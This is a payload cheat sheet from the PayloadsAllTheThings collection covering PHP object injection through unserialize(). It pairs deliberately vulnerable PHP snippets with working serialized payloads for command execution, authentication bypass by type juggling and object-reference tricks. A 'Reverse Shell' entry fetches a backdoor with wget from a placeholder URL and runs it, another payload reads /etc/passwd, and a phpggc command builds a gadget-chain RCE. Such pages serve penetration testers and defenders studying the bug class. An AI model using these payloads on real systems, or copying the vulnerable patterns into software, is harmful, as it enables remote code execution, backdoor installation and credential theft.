PayloadsAllTheThings/PHP serialization

PHP Object Injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

Also you should check the Wrapper Phar:// in File Inclusion - Path Traversal which use a PHP object injection.

Exploit with the __wakeup in the unserialize function

Vulnerable code:

<?php 
    class PHPObjectInjection{
        public $inject;
        function __construct(){
        }
        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
    if(isset($_REQUEST['r'])){  
        $var1=unserialize($_REQUEST['r']);
        if(is_array($var1)){
            echo "<br/>".$var1[0]." - ".$var1[1];
        }
    }
    else{
        echo ""; # nothing happens here
    }
?>

Payload:

# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}

# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"

Authentication bypass

Type juggling

Vulnerable code:

<?php
$data = unserialize($_COOKIE['auth']);

if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
    $admin = true;
} else {
    $admin = false;
}

Payload:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

Because true == "str" is true. Ref: POC2009 Shocking News in PHP Exploitation

Object reference

Vulnerable code:

<?php
class Object
{
  var $guess;
  var $secretCode;
}

$obj = unserialize($_GET['input']);

if($obj) {
    $obj->secretCode = rand(500000,999999);
    if($obj->guess === $obj->secretCode) {
        echo "Win";
    }
}
?>

Payload:

O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;}

Ref:

• PHP Internals Book - Serialization
• TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec

Others exploits

Reverse Shell

class PHPObjectInjection
{
    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
    public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}

echo urlencode(serialize(new PHPObjectInjection));

Basic detection

class PHPObjectInjection
{
    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
    public $inject = "system('cat /etc/passwd');";
}

echo urlencode(serialize(new PHPObjectInjection));
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'

Finding and using gadgets

PHPGGC is a tool built to generate the payload based on several frameworks:

• Laravel
• Symfony
• SwiftMailer
• Monolog
• SlimPHP
• Doctrine
• Guzzle

phpggc monolog/rce1 'phpinfo();' -s

Thanks to

• PHP Object Injection - OWASP
• PHP Object Injection - Thin Ba Shane
• PHP unserialize
• PHP Generic Gadget - ambionics security